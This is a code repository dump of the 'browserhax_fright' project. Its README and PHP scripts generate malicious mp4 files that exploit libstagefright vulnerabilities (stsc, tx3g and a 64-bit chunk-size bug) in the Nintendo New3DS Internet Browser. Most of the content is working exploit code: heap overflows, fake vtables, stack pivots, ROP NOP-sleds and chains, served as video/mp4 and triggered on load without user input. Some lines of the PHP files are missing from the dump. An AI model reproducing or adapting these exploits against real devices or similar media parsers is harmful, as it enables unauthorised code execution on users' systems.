├── frighthax_header.mp4 ├── frighthax_header_tx3g.mp4 ├── README.md ├── browserhax_fright.php ├── browserhax_fright_tx3g.php └── skater31hax.php /frighthax_header.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yellows8/browserhax_fright/HEAD/frighthax_header.mp4 -------------------------------------------------------------------------------- /frighthax_header_tx3g.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yellows8/browserhax_fright/HEAD/frighthax_header_tx3g.mp4 -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | This repo contains exploits for libstagefright used in the Nintendo New3DS system Internet Browser. 2 | 3 | The stsc exploit is based on a PoC from here: https://blog.zimperium.com/stagefright-vulnerability-details-stagefright-detector-tool-released/ 4 | 5 | This requires the following repo: https://github.com/yellows8/3ds_browserhax_common See that repo for usage info as well. 6 | 7 | * stsc("browserhax_fright.php"): All system-versions <=10.1.0-27 are supported. System-version 10.2.0-28 fixed the vuln used by this. This was originally implemented on August 6-7, 2015. 8 | * tx3g("browserhax_fright_tx3g.php"): All system-versions <=10.5.0-30 are supported, vuln was fixed with 10.6.0-31. From the .php: "This tx3g version was originally implemented using system-version v10.2, on November 3, 2015. The PoC mp4 this is based on is from roughly October 24, 2015." 9 | * skater31hax: All system-versions <=11.0.0-33 are supported. See the source if you want any more vuln details etc. 10 | 11 | Currently the length of the URL used for accessing this hax must be less than 48 characters. 12 | 13 | The exploits will automatically trigger when loading the mp4, no user-input needed once mp4-loading is started. There must be less than 3 open browser tabs when running the exploits, not including the tab for the mp4. If you want to access these exploits via QR-code, just use the QR-code from the site linked below(the exploits aren't usable with direct URLs for these exploits via QR-code). 14 | 15 | See the following for a hosted version of this: https://yls8.mtheall.com/3dsbrowserhax.php 16 | 17 | 18 | See here regarding Wii U: https://github.com/yellows8/wiiu_browserhax_fright 19 | 20 | -------------------------------------------------------------------------------- /browserhax_fright.php: -------------------------------------------------------------------------------- 1 | +0x201 .. +0x21f1, and is 0x10-byte aligned relative to +0x201. 36 | $fake_vtableptr = $heapaddr_stscarraydata_off_x1200+0x2000; 37 | $stackptr = $fake_vtableptr+0x2000; 38 | 39 | $ROPHEAP = 0x10000000-0x1e000;//0x08100000;//Don't use any memory nearby the above mp4 buffer, since that causes corruption issues. 40 | 41 | $generatebinrop = 1; 42 | generate_ropchain(); 43 | 44 | $entry_wordindex = 0; 45 | 46 | for($i=0; $i<0x200; $i+=4)//Setup the data which will get copied to the output buffer. When that data is copied, each word in the entry is converted to machine-endian, and the first word value is decreased by 1. The allocated output buffer is only 0x18-bytes(due to integer overflow), hence this will result in a buffer overflow. This will overwrite the objectptr used for reading data, hence data-reading will stop at the time the overwritten object gets used. 47 | { 48 | $writeval = $heapaddr_stscarraydata_off_x1200; 49 | if($entry_wordindex == 0)$writeval++; 50 | $con.= pack("N*", $writeval); 51 | 52 | $entry_wordindex++; 53 | if($entry_wordindex==2)$entry_wordindex = 0; 54 | } 55 | 56 | $con.= pack("C*", 0x0);//Align the offset after this, and as a result the address, to 4-bytes. 57 | 58 | for($i=0; $i<(0x2000/0x10); $i++)//Setup the data which will be used at offset 0x1200 relative to the stsc entries data start, in the buffer containing the *entire* raw mp4. This is where the object data for the above objectptr is located. 59 | { 60 | $con.= pack("V*", $fake_vtableptr);//Fake vtable ptr, the 0x34-bytes starting here is also popped into r0..ip during stack-pivot. 61 | //for($pos=0x4; $pos<0x34; $pos+=4)$con.= pack("V*", $fake_vtableptr);//Setup r1..ip for the stack-pivot. 62 | $con.= pack("V*", $stackptr);//Setup sp for the stack-pivot. 63 | $con.= pack("V*", $POPPC);//Setup lr for the stack-pivot. 64 | $con.= pack("V*", $POPPC);//Setup pc for the stack-pivot. 65 | } 66 | 67 | for($i=0; $i<0x2000; $i+=4)//Setup the data which will be used at offset 0x1200+0x2000 relative to the stsc entries data start, in the buffer containing the *entire* raw mp4. This is where the fake vtable for the above object is located. 68 | { 69 | $con.= pack("V*", $STACKPIVOT_ADR); 70 | } 71 | 72 | for($i=0; $i<0x2000; $i+=4)//Setup the data which will be used at offset 0x1200+0x2000+0x2000 relative to the stsc entries data start, in the buffer containing the *entire* raw mp4. This is where the ROP stack is located, starting with a ROP NOP-sled. 73 | { 74 | $con.= pack("V*", $POPPC); 75 | } 76 | 77 | $con.= $ROPCHAIN;//Beginning of the actual ROP. 78 | 79 | header("Content-Type: video/mp4"); 80 | 81 | echo $con; 82 | 83 | ?> 84 | -------------------------------------------------------------------------------- /browserhax_fright_tx3g.php: -------------------------------------------------------------------------------- 1 | 105 | -------------------------------------------------------------------------------- /skater31hax.php: -------------------------------------------------------------------------------- 1 | . 63 | //If that's successful, it then calls mLastTrack->meta->setData() with the above buf and size. For loading the mLastTrack ptr, it loads the saved inr0 _this from sp+0x140, then it loads mLastTrack from there. 64 | 65 | //Hence, the size check can be bypassed by using a 64bit negative chunk_size, with whatever size you want to copy to stack for the low-word in the chunk_size, +0x10. 66 | //When the copy-size is large enough(see above), the saved _this ptr will be corrupted. A fake _this ptr and the data used with it has to be setup so that it doesn't crash with that, hence this just does a stack-pivot with an object vtable funcptr call. 67 | 68 | //Setup the data copied to stack. 69 | for($i=0; $i<0x200; $i+=4) 70 | { 71 | $con.= pack("V*", $heapaddr_haxdatastart);//Overwrite the _this ptr(and other data which doesn't get used on stack) with $heapaddr_haxdatastart, address of the below data. 72 | } 73 | 74 | //Data used with the fake _this starts here. Another mp4 "chunk" would start here too, but that won't get parsed. 75 | 76 | for($i=0; $i<0x2000; $i+=4) 77 | { 78 | $con.= pack("V*", $heapaddr_haxdatastart+0x2000);//Setup the mLastTrack ptr, address of the below data. 79 | } 80 | 81 | for($i=0; $i<0x2000; $i+=4) 82 | { 83 | $con.= pack("V*", $heapaddr_haxdatastart+0x4000);//Setup the meta ptr from mLastTrack, address of the below data. 84 | } 85 | 86 | for($i=0; $i<(0x2000/0x10); $i++)//This is where the object data for the above objectptr(meta) is located. 87 | { 88 | $con.= pack("V*", $heapaddr_haxdatastart+0x6000);//Fake vtable ptr, the 0x34-bytes starting here is also popped into r0..ip during stack-pivot. 89 | $con.= pack("V*", $heapaddr_haxdatastart+0x8000);//Setup sp for the stack-pivot. 90 | $con.= pack("V*", $POPPC);//Setup lr for the stack-pivot. 91 | $con.= pack("V*", $POPPC);//Setup pc for the stack-pivot. 92 | } 93 | 94 | for($i=0; $i<0x2000; $i+=4)//This is where the fake vtable for the above object is located. 95 | { 96 | $con.= pack("V*", $STACKPIVOT_ADR); 97 | } 98 | 99 | for($i=0; $i<0x2000; $i+=4)//This is where the ROP stack is located, starting with a ROP NOP-sled. 100 | { 101 | $con.= pack("V*", $POPPC); 102 | } 103 | 104 | $con.= $ROPCHAIN;//Beginning of the actual ROP. 105 | 106 | header("Content-Type: video/mp4"); 107 | 108 | echo $con; 109 | 110 | ?> 111 | --------------------------------------------------------------------------------